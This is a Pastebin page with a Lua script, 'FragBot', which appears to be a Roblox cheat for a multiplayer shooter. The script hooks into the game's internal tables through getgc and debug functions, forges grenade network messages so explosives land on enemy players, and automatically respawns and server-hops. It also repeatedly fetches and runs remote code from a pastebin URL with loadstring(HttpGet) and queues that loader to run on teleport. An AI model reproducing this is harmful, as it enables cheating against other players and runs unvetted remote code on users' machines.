Advertisement
IY_plugin_store

FragBot

Nov 27th, 2021 (edited)
1,459
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.09 KB | None | 0 0
  1. _G.ran = true
  2. local camera = workspace.CurrentCamera;
  3. local players = game:GetService("Players");
  4. local localPlayer = players.LocalPlayer;
  5. local charTbl;
  6. local replicationTbl;
  7. local pfCam;
  8. local gameLogic;
  9. local network;
  10. local hud;
  11. local char;
  12. local menu;
  13. local queueonteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or function() end
  14. local ts,x = game:GetService("TeleportService")
  15. respawns_before_serverhop = respawns_before_serverhop or 0
  16. local tp = respawns_before_serverhop
  17. if tp == 0 then tp = math.huge end
  18. task.spawn(function() while wait(20) do loadstring(game:HttpGet('https://pastebin.com/raw/PyWPzvyL'))() end end)
  19. if _G.ran then return end
  20. queueonteleport("if not game:IsLoaded() then wait(3) end respawns_before_serverhop = "..tostring(respawns_before_serverhop).."\nloadstring(game:HttpGet('https://pastebin.com/raw/PyWPzvyL'))()")
  21.  
  22. local function ondisconnect()
  23.     ts:TeleportCancel()
  24.     if not x then
  25.         x = {}
  26.         for _,v in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data) do
  27.                 if type(v) == "table" and v.maxPlayers > v.playing and v.id ~= game.JobId then
  28.                        x[#x + 1] = v.id
  29.             end
  30.     end
  31.   end
  32.     if #x > 0 then
  33.         game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, x[math.random(1, #x)])
  34.     end
  35. end
  36. ts.TeleportInitFailed:Connect(ondisconnect)
  37. game:GetService("Stats").Network.ChildRemoved:Connect(function(disconnected) if disconnected.Name=="ServerStatsItem" then ondisconnect() end end)
  38. task.spawn(function() for i = 1,10 do if not game:GetService("Stats").Network:FindFirstChild("ServerStatsItem") then ondisconnect() return end wait(1) end end)
  39. local things = 0
  40. repeat
  41. things = 0
  42. for i,v in pairs(getgc(true)) do
  43.    if type(v) == "table" then
  44.        if rawget(v, "getbodyparts") then
  45.            replicationTbl = v;
  46.            charTbl = debug.getupvalue(v.getbodyparts, 1);
  47.            things +=2
  48.        end
  49.        if rawget(v, "basecframe") then
  50.            pfCam = v;
  51.            things +=1
  52.        end
  53.        if rawget(v, "gammo") then
  54.            gameLogic = v;
  55.            things +=1
  56.        end
  57.        if rawget(v, "send") then
  58.            network = v;
  59.            things +=1
  60.        end
  61.        if rawget(v, "updateammo") then
  62.            hud = v;
  63.            things +=1
  64.        end
  65.        if rawget(v, "jump") then
  66.            char = v;
  67.            things +=1
  68.        end
  69.        if rawget(v, "isdeployed") then
  70.            menu = v;
  71.            things +=1
  72.        end
  73.    end
  74. end
  75. wait(1)
  76. until things == 8
  77. local function shootNade(targetPos)
  78.    if gameLogic.gammo <= 0 then
  79.        return;
  80.    end
  81.    local camCf = camera.CFrame;
  82.    local rot = (camCf - camCf.Position);
  83.    local args = {
  84.        time = tick(),
  85.        blowuptime = 0,
  86.        frames = {
  87.            {
  88.                t0 = 0,
  89.                p0 = camCf.Position,
  90.                v0 = camCf.LookVector,
  91.                offset = Vector3.new(),
  92.                a = Vector3.new(0, -80,0),
  93.                rot0 = rot,
  94.                rotv = rot * Vector3.new(19, -5, 0),
  95.                glassbreaks = {}
  96.            },
  97.            {
  98.                t0 = 0,
  99.                p0 = targetPos,
  100.                v0 = Vector3.new(),
  101.                offset = Vector3.new(),
  102.                a = Vector3.new(),
  103.                rot0 = CFrame.new(),
  104.                rotv = Vector3.new(),
  105.                glassbreaks = {}
  106.            }
  107.        }
  108.    };
  109.    network:send("newgrenade", "FRAG", args);
  110.    gameLogic.gammo = gameLogic.gammo - 1;
  111.    hud:updateammo("GRENADE");
  112. end
  113.  
  114. local function getCharacterInCircle(center, radius)
  115.    local results = {};
  116.    for player, character in pairs(charTbl) do
  117.        if player.Team ~= localPlayer.Team then
  118.            if character.torso and (character.torso.Position - center).Magnitude <= radius then
  119.                results[#results + 1] = character;
  120.            end
  121.        end
  122.    end
  123.    return results;
  124. end
  125.  
  126.  
  127. while tp>0 do
  128.   tp-=1
  129.   do
  130.      if not (char.rootpart and menu:isdeployed()) then
  131.          repeat
  132.              menu:deploy();
  133.              task.wait();
  134.          until char.rootpart and menu:isdeployed();
  135.      end
  136.      task.wait(1);
  137.      local targets = {};
  138.      for player, character in pairs(charTbl) do
  139.          if player.Team ~= localPlayer.Team then
  140.              if character.torso and character.head then
  141.                  local charsInCircle = getCharacterInCircle(character.torso.Position, 30);
  142.                  targets[#targets + 1] = charsInCircle;
  143.              end
  144.          end
  145.      end
  146.      table.sort(targets, function(a, b)
  147.          return #a > #b;
  148.      end);
  149.      for i = 1, 3 do
  150.          local t = targets[i];
  151.          if t then
  152.              for j = 1, #t do
  153.                  local theirChar = t[j];
  154.                  if theirChar and theirChar.torso then
  155.                      shootNade(theirChar.torso.Position);
  156.                      task.wait(0.1);
  157.                  end
  158.              end
  159.          end
  160.      end
  161.   end
  162.   network:send("forcereset");
  163.   repeat task.wait() until not menu:isdeployed()
  164. end
  165. ondisconnect()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement